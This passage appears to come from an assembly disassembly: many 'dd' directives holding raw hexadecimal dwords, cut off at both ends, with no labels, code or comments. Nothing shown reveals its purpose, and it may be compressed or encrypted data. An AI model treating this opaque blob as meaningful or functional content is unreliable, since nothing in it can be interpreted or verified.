0C37FEB69h, 363A8406h dd 9D6B12Eh, 99C5A36Fh, 0D310AD0Ch, 0B400547Dh, 0F838CF3Eh dd 2690A255h, 6C85E4h, 8BB68867h, 0F9F3AAF2h, 665D7029h dd 918AB407h, 28D0D28Eh, 0F5E1E6h, 0FBCA055Eh, 9ECDB623h dd 8371A300h, 0C8192086h, 0D3E9009Ch, 456F7A5Bh, 0AD1F74E2h dd 41D7BC1h, 1AF320Fh, 0F22324C3h, 0C4B4C0h, 6DC6147Ah dd 79CC52FFh, 0E91DF500h, 381027Eh, 0C642D59h, 4209AD58h dd 83EBCB86h, 0F8FB3A64h, 688E0F2h, 0C957C204h, 56099810h dd 0A0184F33h, 439BF78h, 118F609Ah, 812C543Eh, 3B567C00h dd 0A5ABA38Eh, 0F7830ABBh, 3AE40180h, 44B5E49Eh, 0C0A31D3Dh dd 9B4B6D78h, 7F4C4700h, 741BACC3h, 0E769004Ah, 2DB92202h dd 290013A1h, 39C9A607h, 0E46BBFACh, 1FD6002Eh, 5B619909h dd 0F103B1C3h, 0CFB51992h, 5184983Bh, 4AD600CEh, 0BB7BAE9Dh dd 10FCBBDh, 2BA84CFAh, 0A3658269h, 0CA79C063h, 0C5240005h dd 4006233Fh, 0DF00EF64h, 0BD0461C0h, 0E93D8Ah, 0FFCC68E1h dd 271893D2h, 33C44012h, 0D4ABD400h, 152AFE6h, 0ADCC0E5Eh dd 0D8E3141Ch, 0B0EE3F87h, 0B3042C00h, 26864C62h, 2F310046h dd 16859123h, 2C748CF9h, 283EE3Ch, 0C48998D8h, 71BC0045h dd 0C07E98Eh, 8B4402C9h, 2AA8EAB0h, 142E7C74h, 0A44016AEh dd 0ABDA12h, 4C9DF59Ch, 48007BB8h, 9F98490Bh, 354AEB5h dd 0F5C1A922h, 35A75528h, 0C0DC5C30h, 0EB622976h, 0D41F156Ch dd 0B0C0A1BBh, 0EFCBB230h, 2AA600AFh, 2610EE58h, 0FE006DFAh dd 0E853F346h, 0EE75C1Ch, 2E8C6141h, 3E20642Eh, 0C4B10B36h dd 0DA26C907h, 170F3AEh, 7F9009h, 3E5E45D9h, 0C10BD81Dh dd 26F1B301h, 0E80C396Dh, 3C9E30h, 4A24C419h, 1B87EA02h dd 9F7DA490h, 0EFB68404h, 94903810h, 0E0557368h, 7F3D011Ah dd 59DF92F2h, 318ACD3Ch, 0A9D1C0D0h, 7EA6BB24h, 50AD200h dd 141131E2h, 97464364h, 69488403h, 0F6F8B8ABh, 830041D8h dd 0EBF3F4AAh, 12D55Ah, 5F92E6D6h, 0A74F9709h, 340E0898h dd 0CFF5FCDDh, 8D2E40EEh, 1D9AB9Ah, 3D093BEDh, 0C02FD377h dd 8AB0324Ah, 27A0A90Fh, 9A9F001Ch, 0F6890B15h, 882900A6h dd 5C51808Ah, 12004885h, 9A1125D4h, 1F1791FCh, 0DD631BA6h dd 0EB4C0077h, 428B02D1h, 0C9D71100h, 0AACA0A1Eh, 0E57D7E79h dd 0C21F5F8h, 0E5AB15F3h, 0A300DB70h, 0DA7258D2h, 770593h dd 0FB3E477Ch, 18F4EC2Ah, 23334800h, 5C55721Ah, 3AE4038Ch dd 0C287F8Fh, 0F6977BB8h, 9E072D01h, 0ADBA3942h, 20E43ED0h dd 9F3BA95Dh, 0ECEEAE2Ah dd 90331C82h, 0CAEBC079h, 3220F9DDh, 43BA0049h, 57853012h dd 5F000D6Bh, 1C80C123h, 0CEA9ABh, 0DE9101D9h, 10F4EA76h dd 0B248DA01h, 90310DE9h, 461C1981h, 0F842AFBAh, 40A85FE4h dd 10E9331Eh, 0A0799103h, 28CCC9B7h, 14ACB3h, 0FAA142A2h dd 2163A657h, 1DFD6800h, 31F60D03h, 0E76B0056h, 4A5D9F73h dd 0C9004E8Eh, 3F7AFF32h, 3C7C1DDh, 17E7C69Eh, 0D6E0D9E6h dd 0B005258Dh, 0A146E0D2h, 3F308040h, 0F3B2B61h, 0AC68D316h dd 0EAE28BA0h, 0B2011870h, 690A5C95h, 473034F8h, 0C9C218F5h dd 5668A0F4h, 8AAFFA00h, 3B453998h, 81BB0031h, 0BA029072h dd 7100AABDh, 7FF12A56h, 2A8CDDB8h, 0FC6F98h, 0A96DC7F0h dd 3EA37206h, 0D52CE03h, 8815D005h, 0FAAFC92Ah, 2C2800A0h dd 0BB75D319h, 0B21D7CCCh, 0D280F97Ah, 14410D4Eh, 0A93700EBh dd 9968F70Ch, 71316B88h, 0E44DC028h, 3D9C1CCh, 60D23353h dd 0C400DE3Dh, 6770EF68h, 18C8ECB0h, 989E0974h, 5C00B214h dd 0D62332AEh, 155298DAh, 0D85367C8h, 94599A3Dh, 4DD8C900h dd 85AEC41h, 0CBF0DC00h, 9DA7E668h, 0A0A200EDh, 16260258h dd 5D13A8C0h, 0EA7BE9h, 0EC9CFBA8h, 0B03847Eh, 0F6DBB128h dd 8C34A09Bh, 0DF900626h, 81AA793h, 0B6213660h, 71EA3408h dd 0C4E0B0h, 53624530h, 9E87C8B7h, 86EE000h, 0BA523D9Dh dd 0CB27C01h, 8123865Dh, 0D2F2F918h, 1C301761h, 7EE09195h dd 567828CEh, 23DA2010h, 0B141E0B5h, 3014E8E1h, 0FB11F439h dd 2A01C48Ah, 7E87C77Dh, 88CDF76h, 9A20FA8Fh, 54624917h dd 528C5006h, 18910058h, 0C8BAA75Dh, 0C22AF6E2h, 9402283Ah dd 777EDCC4h, 0C800168Ah, 3372625Ah, 2E786ED9h, 2427AFh dd 6DC09E93h, 2C505587h, 1F541E90h, 0D40EDA94h, 7664B0h dd 0EC1AD563h, 732A3CD1h, 7209ECD0h, 309D76C7h, 1250E313h dd 1570F002h, 0F93C2300h, 0EEBF8404h, 53B0D0h, 85D3264Ah dd 9633186Fh, 0FFA81F00h, 0AFF12E1Bh, 0AE27009Dh, 57F7C28Dh dd 71D88A7h, 2C40E0C5h, 0F9B4FF90h, 0F8010056h, 0D696514Fh dd 85013112h, 5802CFC3h, 5FF4B91Bh, 70A00084h, 52DC397Ah dd 0E87D61F1h, 8FC2E200h, 389858E7h, 23730057h, 0F771AB76h dd 8E0013BFh, 60E0FD4Bh, 66288Fh, 8B196E6Ch, 0F2ACEE56h dd 8A49F8F1h, 600B3F8h, 7DAD7F26h, 194F6895h, 83F2856h dd 6D21844Ch, 0A4C7A447h, 0A7535040h, 0DC4F00CBh, 8F77B254h dd 6A00E9A8h, 0A957402Dh, 1F89DD8Ah, 9F155652h, 18B75826h dd 50C08E45h, 0B358768h, 108860AAh, 5E538F26h, 21BF820Eh dd 1FF8E7E4h, 863943h, 537AAB20h, 98AE24DDh, 1200CA7Ch dd 3DF1C9BDh, 30C38EFh, 21E405EDh, 0B0605263h, 0F70F9538h dd 0C0BEFCA3h, 78AB1368h, 5513CF19h, 0E9188054h, 0C0AC9908h dd 77D58A20h, 7C0C663Fh, 39E3EC5Eh, 7AF40001h, 0FE690989h dd 8C0547CAh, 0ABA8F281h, 0C0D4A408h, 95D1B11Bh, 0DF224846h dd 0A443A100h, 8EC52C76h, 0BDEC0F39h, 0C92390C0h, 0B800033Ah dd 473B7F81h, 4C9D73CBh, 200C2382h, 3A71A974h, 189E221h dd 9557B119h, 88DE1818h, 0A47C42C7h, 0EC4BE800h, 6BC5493Eh dd 3DE409h, 0EA29ACF0h, 46C825Bh, 8505EF00h, 2FBEEEF5h dd 0FECF451h, 881B903Fh, 459B960h, 0FD019319h, 1423F0BEh dd 7BD4F9B5h, 80810046h, 66CE863Ch, 682CAA79h, 57037A96h dd 9046E5E0h, 0F4313Fh, 0EBD43E8Bh, 161274F3h, 1AD70900h dd 0AB0AE3C6h, 0B49E00FEh, 39371F3Dh, 1B00A08Ah, 67993577h dd 1E98D1h, 0FE08D823h, 388A178Bh, 2D94A000h, 985B23Ch dd 78110055h, 0E1CA6D7h, 7700A50Fh, 1E32E522h, 71FCC5ABh dd 8B5D03DFh, 0D4CDA0BCh, 9BC4B498h, 28152730h, 0DD1AADh dd 21E1AE46h, 5A025B1Ch, 67A6902h, 6053ACD9h, 13486AFh dd 855D7F04h, 0E0683FDCh, 670FE99Ch, 807EFAA8h, 0BCA7700Eh dd 13790E88h, 6A40E5DCh, 4218FF02h, 6F86321Eh, 0FB9BAF03h dd 0FA93C0E4h, 0F38D0F10h, 1757E5h, 99D65E0Ch, 1F075FDEh dd 0F1DB17ECh, 0A680D3D7h, 0BFE04FFh, 703AA8F5h, 416B1900h dd 783A60EAh, 0CCA1004Dh, 75B2BCDEh, 5AAE00F5h, 0D722D3FDh dd 6900EDA8h, 0F06C5C66h, 36BF1D1h, 0F2EB2387h, 73D05FAAh dd 0C10C665Ah, 10130208h, 6CC4074Eh, 0CE8B353Ch, 5A3E405Eh dd 3B38A017h, 65D5A91Bh, 0DA3F9028h, 0A48000F1h, 2F3AF3F4h dd 0BB007B35h, 2446D965h, 0FF259021h, 0FB1F30h, 7981B0E9h dd 0D4EB8256h, 0AD4AAF00h, 6F8B1B47h, 0CBC80796h, 40F88748h dd 0A7B7F949h, 0F404FD07h, 8457F07Eh, 9250BE80h, 73EF0EFFh dd 5D008D4Fh, 287201C5h, 76222D00h, 0C98EA931h, 0DB7CF8h dd 0C24EDF41h, 18BC62C0h, 0FBBDAA00h, 0A1AFF337h, 27DD03C3h dd 63500FF2h, 22352000h, 2F1AF8ECh, 40170071h, 9AD58481h dd 2502D865h, 6A9BFADBh, 17B6095h, 0D30B19DFh, 194B6817h dd 0F4F683D6h, 0DC6030D7h, 0BA3AA269h, 62341800h, 7D519DECh dd 0BCB700E8h, 0BE888A23h, 8D3FFBC4h, 1A05804Ch, 0DC9F34ADh dd 8AA1C975h, 21BDCF80h, 1400DE92h, 0C6BA185h, 0FFFAC75h dd 0CC3579EDh, 0B48E581h, 2E62F0DAh, 0E1BC51h, 0D6C95D88h dd 6A1820C6h, 667538h, 0AB2F57FBh, 0DF0826E2h, 0D8EFC901h dd 0AC8BF27Bh, 19A3D70h, 0D1B34173h, 0C46B9B91h, 0E2007F11h dd 0C2151B06h, 4B174A6h, 0F34FAC23h, 77328083h, 0D00F3644h dd 80C0EC0Fh, 1DB37384h, 0EDA20001h, 0FA684D5Dh, 6E0056E9h dd 0F7B79143h, 3F7CA647h, 0F848A880h, 854CCD09h, 20736C00h dd 5C00C0FAh, 359B4D10h, 0A9F529h, 721ACC83h, 907E0FCEh dd 0FAC55F1Dh, 0B6EDAC00h, 3D3E2BBCh, 14792723h, 0F32FCFF7h dd 7D79C80Eh, 44FF14E0h, 8C68B58h, 0F620D1C7h, 627A03A1h dd 760DAD67h, 0D6C595F8h, 325D303h, 0C849D19Fh, 675896h dd 1F053B54h, 1EF4BC2Bh, 5531DD03h, 0A01A9832h, 9B82FD0h dd 0BB95E40h, 6AD4DC00h, 0A6E8845Dh, 7E205660h, 3B175E87h dd 0EBFC4F57h, 0C3543880h, 3E2ADAA9h, 3F9D80Fh, 6C2283DCh dd 2E53F115h, 186135F3h, 439384E0h, 0F87A9970h, 0CFEBCB9h dd 1731C041h, 79F5A332h, 0DAD11F00h, 0E52B28C7h, 0BA450092h dd 0D5B50E43h, 3F60E326h, 0F8603668h, 22030702h, 8733B36Fh dd 212A1318h, 0D4A10480h, 56FE371Ch, 0BBA5EF80h, 0F9BB3ECh dd 0F17B4B1Dh, 0A0B4F8E0h, 692E3A1Ah, 98004632h, 0E4C2F6E6h dd 0BDC60EDBh, 0B186C7BCh, 7A002065h, 960DE68Bh, 484F93h dd 0FA98C805h, 8CE9897Dh, 43FE84B0h, 9F0E5700h, 37E33B67h dd 0ACE10010h, 8969E02Fh, 401792Eh, 0D51EA7Ch, 88CE8E6h dd 29202674h, 167A5300h, 0CEC1CB42h, 629F5CF7h, 0F267AF01h dd 0D81B693Bh, 0A326F109h, 0D1B5565h, 63C01838h, 475DC98Fh dd 21DD2600h, 1F45CB95h, 0CFA60E30h, 2320A305h, 342CDF4Bh dd 4B9D600h, 4001D7D2h, 8E583AE0h, 0B83CD398h, 286D95Bh dd 7BEB792Dh, 251842C2h, 56268030h, 4F017A75h, 0A43BA801h dd 0DEEDE310h, 0ECD95040h, 30390E22h, 87208F2Fh, 5BAE8EF3h dd 11EF9006h, 75C9E1CAh, 4EE803F2h, 0CF10B9A2h, 1B081EE0h dd 28849B50h, 4BFAE498h, 0A0815300h, 0EC75D7DDh, 6F0C0399h dd 0B4E5C260h, 0AAFF7EB8h, 8A0B2C00h, 0ABED2870h, 84310093h dd 4BE3150Dh, 5103CEBEh, 62D6B06Dh, 0B608D030h, 0D07700C0h dd 3C390DF6h, 60E8DD03h dd 0D4F4E000h, 0CB0A5C14h, 29DB6051h, 6D35D230h, 0FC1C8C0Ch dd 0EE7D183Ah, 0A6506FFh, 28B50C38h, 4D449600h, 0EBF221D1h dd 9E221DA8h, 0CA2000D5h, 0ACA906DDh, 31170430h, 1D86409Fh dd 5E11611Eh, 3F18FBE6h, 821A18AFh, 5DA11D84h, 5E39C189h dd 0ED962902h, 2000CF8Eh, 0B427AAD6h, 1D1D53Fh, 0B77EB50Bh dd 0C8AEA790h, 0CDFC1B14h, 0D4DA4400h, 8D084816h, 0FE4500BFh dd 0C42AA71Eh, 80E72250h, 0FCCF8298h, 47F0E5h, 0B02112Eh dd 0F8D91B4Bh, 3219439h, 0CE3114F6h, 0A6E3E028h, 0B58800CDh dd 0AB11250Ch, 0D8030D83h, 46A0E566h, 5CD2A8CCh, 0BB3518AEh dd 6EA3304Eh, 0C70AEC07h, 6C70C173h, 7A5349CEh, 20AD6377h dd 76B00415h, 650EB8B0h, 0E0F8426Ah, 5E4DCC3h, 0AD1C000Fh dd 7378D1B6h, 4E1CA2BBh, 0D69B6FD5h, 2943C061h, 1ECF1EACh dd 2F02C3BCh, 7CA39B0Bh, 35712100h, 0BC8894AEh, 687000A5h dd 382C41CDh, 1C050EADh, 78C021B5h, 0BE602819h, 0AE044218h dd 0D9044575h, 0F0207B32h, 41AE5Ah, 0BF83B93Dh, 1D82516Dh dd 9600C475h, 3CA11B5Eh, 54CE313h, 0D73D7236h, 83A84E20h dd 0A0426F80h, 0F1EA9891h, 0AD08AB65h, 2931A040h, 0FC49F70h dd 379A39AFh, 78C186AFh, 304DE638h, 0AA03C994h, 87497B93h dd 0B11A0ABBh, 393864B4h, 4B394187h, 8D9F2034h, 6E003CECh dd 0BA06FC69h, 0F96322h, 68015883h, 9ECBFB78h, 2397AD00h dd 3CC2066h, 82311ECFh, 0A2807E47h, 327A7EE5h, 0A500A0D0h dd 62F192Ch, 977261h, 36EC8260h, 0A9966323h, 0E8564A00h dd 94598C48h, 7AB500F8h, 0A2FE69Ah, 7000C9A1h, 0FB58796Fh dd 8DB4F9h, 5202E1F0h, 43987B8Ah, 8F27FA00h, 18D388C7h dd 359F00E9h, 0E3417984h, 0D700668Bh, 5250E551h, 9EB92Eh dd 15D376C7h, 2C54B653h, 831129CFh, 0C10BC087h, 20403FECh dd 3E527B97h, 630380F3h, 0E542D1C9h, 70C712E3h, 0DC38BAC5h dd 6C7D5F30h, 3B81E1h, 0EEC4437Ch, 0A967D669h, 89F9E307h dd 12321EEFh, 25EE60E2h, 9FAD0083h, 0F58DD947h, 4A30C319h dd 970780BEh, 35271FE0h, 4C1180F2h, 0F17E8BB1h, 12448900h dd 0B67A3D74h, 239D0035h, 1F2683FAh, 5500C564h, 2BB78970h dd 160048Eh, 2EA72BEh, 0A8E4959Bh, 80EFA628h, 51D650E9h dd 7B766D2Eh, 6665004Bh, 1FD17EC1h, 611DBB1Ch, 3200BF27h dd 117F0FC3h, 5830051h, 1881194Bh, 48F0E5AAh, 0DB747C00h dd 0AD40BBAh, 0C81C0773h, 0A0948991h, 20ED4BFAh, 96E74500h dd 1157168Dh, 0E9A30044h, 6EE83C47h, 460621AFh, 0A6234ACEh dd 8D250038h, 0D1D29D68h, 0D312BA8Bh, 0F0C8602h, 7C2508A9h dd 0AE670089h, 1C483AFAh, 0CE7224DBh, 0A7A58400h, 1B6670F3h dd 85E2078Bh, 707AE694h, 44EE9C04h, 7092CC03h, 72A29D87h dd 0BBD1EF20h, 3F328682h, 8CE080F6h, 97AC156h, 0DB3E5E90h dd 0FD5D00D1h, 0CABE13ABh, 361400A2h, 0FF52E8E2h, 80DEB8F8h dd 9EF1D907h, 6A87C020h, 38AA00EFh, 0D50DE40Bh, 65001A0Ch dd 165E282Dh, 3DC47ABh, 0EEDDD161h, 0F8905885h, 4401A57Ah dd 50C2201Fh, 7620E67Bh, 99093FA4h, 8088BF94h, 5AAE000h dd 11AEEDFh, 0B51F8C00h, 9C3F3B50h, 0EA93BBBh, 0BDBA2180h dd 0DEF65EA0h, 0D2805A0Ah, 880788DBh, 1D27CB77h, 21CA2240h dd 183AFE45h, 0C9C30BA1h, 2B281B6Dh, 680EC88Fh, 600EF44Ch dd 0B99FE426h, 16796Eh, 78CF7B14h, 9277C9CDh, 1CE5D903h dd 0C8B92C37h, 1158E69h, 0C41A89A7h, 0D8F0672Bh, 0E802B108h dd 70147B99h, 5ECD41BCh, 697D802Ah, 0AA601CEFh, 0C7FAD521h dd 0FF810096h, 648D4170h, 0EC04FC65h, 59B4990Eh, 8E2179C0h dd 799C00EEh, 6D1807DEh, 0E400B380h, 29C89DEBh, 32B989h dd 0B7717C2Ah, 0E6127BA5h, 0E202EAF0h, 99604637h, 54C401Eh dd 0D0FC0393h, 816E2BF4h, 0C68C4EB8h, 0D8C8F201h, 78CBC248h dd 0C9B61880h, 206CCC92h, 0FF0E1718h, 0EC962B30h, 1398FEh dd 0B8CF1590h, 0DB3D7EB9h, 0A5AD0C0h, 1D2FE6Ah, 328F429Ah dd 0D98C19C8h, 0F501E8E3h, 0A60E2A00h, 75B88A18h, 0B9DC1D78h dd 0AA26C023h, 0D871030h, 77417407h, 24D1C748h, 13FD406Ch dd 5C5759FCh, 0EC0BFF70h, 0D083E150h, 38007D73h, 0F67B8FEDh dd 5011C024h, 7B09Ch, 459DB66Fh, 979B924Ah, 9044801Ch dd 0A0E67A45h, 0B2859440h, 0C873455h, 8E51911Ch, 81000A50h dd 0DCD4474Ch, 0F26C3BB2h, 0D222003Ah, 0EB88A856h, 3200A9F0h dd 0E5C18E54h, 343B3DEh, 84C7B030h, 408817F6h, 9A0B6216h dd 80A4564Dh, 673A8F1Ah, 0FD6D00EDh, 0EFF5C32Eh, 0F000892Dh dd 0C120D4FBh, 71559227h, 0AD1000DEh, 0EB4B030Fh, 0C0004253h dd 8DF9DA31h, 71B0124Eh, 17C10378h, 0AC492BFCh, 8A38B5A0h dd 12F8B770h, 5BDBFA0Ch, 5CA3A16Eh, 0AD008683h, 122C9769h dd 600ACE3h, 52D58B2Eh, 0C6642Fh, 0A9EB147Eh, 7FCA741Fh dd 0EE8D98C0h, 0E47891D6h, 8BBA011Eh, 453823BDh, 0F2B06EE1h dd 30FB00E4h, 2E1AEFD4h, 4D7FC18Dh, 0ADAE79DFh, 42D32F00h dd 303EF153h, 0BDB67A0Ch, 1F069B74h, 83A4D0A8h, 877BDAh dd 41216810h, 8886793Ah, 19609971h, 340F8A59h, 91CD0072h dd 54943993h, 6106CCA2h, 2E9D01CEh, 0A9C10046h, 99E376D1h dd 720044D8h, 0CCD22527h, 0FA1F06h, 419163ECh, 0B7DA56B4h dd 175CF62Eh, 318C2114h, 0A7D21849h, 0F87C2BC8h, 570D393Bh dd 317C8726h, 83074DD8h, 956E03E1h, 0CB48D830h, 0D38C0E3Eh dd 31006D3Dh, 0F018341Fh, 4C6B7400h, 0B7E5BE7Dh, 0EABB07E0h dd 0EB198C96h, 90E85880h, 0D9502B33h, 7428A6C4h, 0BA00BCA9h dd 49971F41h, 18075F2h, 5E594EDDh, 0FB25529Dh, 0D44D12B0h dd 0D9D52D00h, 274742F8h, 7367439h, 0FDC286C6h, 0D23D43C7h dd 17063190h, 7C577103h, 0E04EAFF2h, 1EB37B47h, 80D4791Ch dd 0C49BB638h, 0C606498Ch, 413DC370h, 7AC10058h, 3511F418h dd 0CF0022CEh, 0D7C8FDE9h, 0EE4CB344h, 0F9E4E3F1h, 0F7B0396Eh dd 0FCA63880h, 40B59445h, 0F1F02A03h, 8947E18Ah, 42F12F6Dh dd 622F70h, 3AA87472h, 713E365Ah, 0E8B5DC00h, 6435C6Ch dd 183F7669h, 0B085B670h, 9A603E7Dh, 0F37C50A0h, 9D19C048h dd 6AEC625Ch, 3051830Eh, 0A44B252Eh, 1FE8003h, 0E9409895h dd 39812890h, 14310090h, 0C03F4B8Ah, 0DC01747Dh, 84C818FDh dd 0FAF0CF43h, 25953FC6h, 2F0E4D80h, 0E5F74A05h, 79000AE0h dd 0BEB680EAh, 0A513830h, 0BD07F38Ah, 0C9A50824h, 4A383Eh dd 7A9F2EB0h, 32F3235h, 5A703D4Ch, 3005C2F7h, 129E10BEh dd 0B134B401h, 8440404Fh, 0E80D226h, 3990BCFEh, 83FD2FEEh dd 475B85A2h, 8D0DC9h, 58C15D86h, 2703D54Bh, 0D119B94Dh dd 8043082Ah, 4A227600h, 0C06D64FDh, 0E2FC5Fh, 0D5D6FC1Bh dd 3097C308h, 0A4800C90h, 400CA4C6h, 114EF9C8h, 39CE0026h dd 0D287BE50h, 730C01D5h, 216DD30Dh, 0ED430F13h, 6E00CCAEh dd 5F24CA0Ah, 51A40504h, 8380F462h, 148026E9h, 8033508Dh dd 9067E248h, 0DC12101Ch, 9CCA78Ch, 90689EFh, 0D3C6685Dh dd 427A3A80h, 1B0141D8h, 20937375h, 0AAE8F9E9h, 86590A9Ch dd 0A07DABh, 2A301405h, 10C080C5h, 0E667F4AAh, 4808009Ah dd 8C492ED4h, 2A000A1Dh, 0D7656ECAh, 1A2AB8Ah, 1F506AF2h dd 0F8E1F3C2h, 150022AFh, 1D8A4D20h, 0E29C7807h, 0FE77072Bh dd 1056372Eh, 0A23D98FDh dd 285C4700h, 4B8E44EBh, 60D4000Eh, 96F4EA36h, 0A81215A3h dd 0C1002F51h, 1ACB1726h, 7C8F00EBh, 0E56929AFh, 5107B87Dh dd 9CD12FB2h, 0C8473123h, 6EF6ADh, 0E833BD9h, 181A111h dd 16ECF900h, 64C4048Ah, 6B7BA5h, 0B24FEA75h, 3515B8CCh dd 84004E74h, 67642116h, 0C5137Bh, 0B11C8514h, 47BB9DE3h dd 70874800h, 1A2C51CFh, 3CB93EA0h, 99127800h, 0DCD95888h dd 95BE7000h, 0CFC8E25Fh, 48720757h, 60FEF374h, 16933AAFh dd 7DD31300h, 4451DBFBh, 0BC1D0C33h, 0A3D112C0h, 801B943Ch dd 28D4E62Ch, 436DFA5h, 5542F1F6h, 0CB10C072h, 76019F06h dd 0CFC58778h, 0D0867FBAh, 49C7BCF5h, 6110D600h, 196A3BF6h dd 0AFE93F30h, 10FBA8h, 0EA336F34h, 810DE7BDh, 6CE11B0Ch dd 84487Bh, 0AB31D0BEh, 294799F8h, 75A4FD05h, 0DFC0BF02h dd 29368ADh, 21DB2CC0h, 9C60E5B7h, 3C1E835Fh, 25C0F2A1h dd 5D679CB2h, 7720047h, 0B6326E09h, 0CA00FAA3h, 217B20E1h dd 0FEE01D57h, 0C0100308h, 0EA8A6AB5h, 407749D1h, 6DF113BFh dd 0B4BEDC01h, 8AFAE7EEh, 71B89F0h, 16D2279Ah, 8C0B808Eh dd 15072884h, 6AE4AD39h, 7D9B3BD0h, 1A30010h, 0C1B96E6h dd 683C72A8h, 0AF1980E8h, 60DF87B3h, 18163C6Eh, 55245F00h dd 1BFB4904h, 45E13800h, 7333BE13h, 0C1B805BAh, 805663C9h dd 0EA282C35h, 44F24DF4h, 5317E4FFh, 66412600h, 61F51B4Bh dd 5DA4005Ch, 0EEBF7C0Dh, 0D92429C9h, 0A017CADh, 5E79883Ch dd 0EA6BC8h, 0D598596Eh, 55D06C23h, 9CE22F00h, 0CD422838h dd 93F63F4Eh, 40D3269Eh, 0E16E44D9h, 6D00F52Bh, 911E1719h dd 38B18966h, 3298E629h, 9C5E8827h, 6A8B0300h, 30A547F3h dd 0AA7360h, 0D37B8E72h, 0C80F40A2h, 44C42600h, 0BD17820Bh dd 0E14C00F2h, 6B0DC7F8h, 2100C123h, 0E09193AFh, 0C0A247h dd 9ED218C9h, 668DDDFFh, 86C3D700h, 73610B6Ah, 0CF1B0C6Ch dd 0EA403D3Eh, 0C94C70F7h, 32829700h, 44CBE7BCh, 0BF60008Ch dd 93CEE468h, 6E0B3AD8h, 8435134Fh, 0EF80021Bh, 0A585DCh dd 12144A1Dh, 4B371B2Fh, 0CB449E00h, 1E3F4FC8h, 26C000F0h dd 0C7B9E6FFh, 9AF0A11Bh, 0B60739B8h, 185690FAh, 3A832AB0h dd 0C0965EEDh, 7FE7BFADh, 4F508EEFh, 0C5D680B7h, 0B6F566h dd 0BE456908h, 10FE8D3Ah, 0B19ED800h, 562D28C3h, 0CF890039h dd 0F20A4513h, 0EC0083B9h, 8DC6755Eh, 1A7F746h, 26D8C94Ah dd 0E80268EDh, 0E30022AEh, 8F2CE1ABh, 51CB8258h, 0D9C0CABBh dd 2F600327h, 0A4C0C2B6h, 539424C0h, 9200C874h, 3CCB285Dh dd 0EF2CFDh, 12226D63h, 1CB579DBh, 3DB7440Fh, 0E289809Dh dd 79169A2h, 0CD4D723Ch, 809A475Fh, 0CCB371D7h, 4A420400h dd 55A89489h, 0B8D001CDh, 589CEF19h, 0D82EFC3Dh, 76E56500h dd 0C830D910h, 0CC40F39Ah, 0D32081h, 0EC1A96Bh, 0DD594B7Fh dd 0E369C1EBh, 51C671E0h, 0ED33F000h, 0F6F9913Ch, 0E9230FE2h dd 0EBA01E35h, 0CADCDF3Eh, 60814600h, 0AF4BF0D7h, 0E402098Dh dd 7D804D43h, 8C2CF940h, 98652A02h, 0E0E79C61h, 923E1Ah dd 0C1142827h, 0FF23022h, 0E380D607h, 4BC01C47h, 7B05CBCFh dd 9F253AE6h, 8D160600h, 6F4EED62h, 0BDF5F100h, 35BA241Dh dd 0C88C1B9Fh, 39E87872h, 337AB0BEh, 80AC7B3Bh, 3E615B09h dd 884A94h, 0D46590E7h, 997855E5h, 7E00DD79h, 0F221B61Fh dd 1089C4h, 0EF29C111h, 50D540DBh, 93E72B00h, 596BF84Ah dd 2FE20930h, 577C0383h, 69B69800h, 0E3A5477h, 0DE3C2826h dd 0E30308E9h, 4498FFEAh, 92EC7D55h, 5AA34D00h, 61D8E73Dh dd 0E44001C2h, 0D5BF9D2Dh, 531FFCF4h, 0F09FB800h, 0F716C99Ah dd 3E130351h, 2F8136A1h, 29D55A0h, 0FEBA4200h, 0F73AB37Ah dd 4F990EFBh, 6D000389h, 0CB5AF4DFh, 469F3100h, 2EA2C8C9h dd 0ACBB00BEh, 0AAB7BCF6h, 9CF850E1h, 187B5A00h, 0F252C9D3h dd 65DC0086h, 72048FC4h, 402E893Fh, 1500783Bh, 80A61AE0h dd 81E300C1h, 0C2E29762h, 3706D252h, 0BA940EB3h, 0A77260h dd 38768C7Ah, 8FC36309h, 8D173500h, 0F02B076Dh, 0A9D90078h dd 0DC4BE68Ch, 389061DEh, 80802648h, 0C5AAF0BBh, 45C000C1h dd 3E278ED9h, 70994B9h, 0A8682Ch, 0E4349061h, 0BC220059h dd 2D095511h, 30787D3h, 0F33D5D1Eh, 769AB340h, 0C1E700B2h dd 0C81C6CFh, 5571C09Dh, 0C2F18C1Fh, 0D4EB21C0h, 19A9E6Bh dd 85C86490h, 304A738Bh, 4C001574h, 0E825FFF2h, 36074EAh dd 62907B03h, 36C046A3h, 4300F5EBh, 0C7CAC926h, 0E80C3Eh dd 7E3902BDh, 86211034h, 0D148A030h, 2417FCB7h, 0C578F3BCh dd 56207055h, 57FAE45Ch, 9D00B0F0h, 89B73C22h, 454472h dd 52ACEEB6h, 685CF8Fh, 0CB690201h, 0A96C9B9Fh, 63E4A3E9h dd 0E0EF3803h, 0A700134Ch, 30C0C4EBh, 0A6009C68h, 0B082B117h dd 0E902752h, 153D5F3Eh, 5D35AB20h, 440E3BE3h, 806CDF02h dd 22BDF9E4h, 0CE90006Ah, 6788D3C3h, 0E1001A6Bh, 279F436Eh dd 0A1DBF7h, 1955AF69h, 0BA496529h, 0AC2B4705h, 0A849674Ch dd 87901048h, 0E14F003Bh, 0B7BE59BBh, 7600E211h, 1A333F18h dd 92FEF7h, 2A6E758Ch, 0ED22499Dh, 0F6410427h, 0B65B0F97h dd 6940C9A0h, 85003921h, 0DB507449h, 5A0C4Eh, 0FEFDB6A8h dd 0DEA987A6h, 979CE500h, 0DC811109h, 0C03006Eh, 0A126B28Ch dd 0D3002E0Dh, 0CB2AA645h, 95761AE3h, 0F609F578h, 889E851Dh dd 0E700C815h, 0BDC09C2Ch, 71B0262Eh, 471749h, 7ADBF52Eh dd 0BF044F79h, 93F4A283h, 0E8008895h, 23EC9ECDh, 613609CAh dd 2482F7D2h, 0C0D51CFAh, 26DD0BE6h, 0CCCFA1h, 0D06D916Eh dd 4C043640h, 0A97DF76h, 0BFB80C80h, 8EEB00A4h, 74E246BCh dd 4101CB56h, 0D18DDC5Ch, 0FC34A70Eh, 0EA490DE1h, 0DC3809DEh dd 338BBE3h, 0A0B5807Ah, 0F2A4E6A9h, 0D1C00448h, 0C277BFCFh dd 6443F8B6h, 469688B0h, 0B95C08B8h, 48E60B0Dh, 0C2C00019h dd 0C66A11h, 795B6686h, 0BE5C21A5h, 0EA242C9Ah, 2E80506Bh dd 2FD86A25h, 4F0B26B0h, 91DC00D8h, 20A31F1Eh, 67CA8400h dd 5D73BE05h, 36460787h, 41F7234Bh, 0F05B6C98h, 0BC00AD4Dh dd 0F1B4294h, 647F4Fh, 6582E608h, 0C6F9F5F0h, 53E5B800h dd 873DBC72h, 60EE00ACh, 35F0663Fh, 7A77755Fh, 9F6CE901h dd 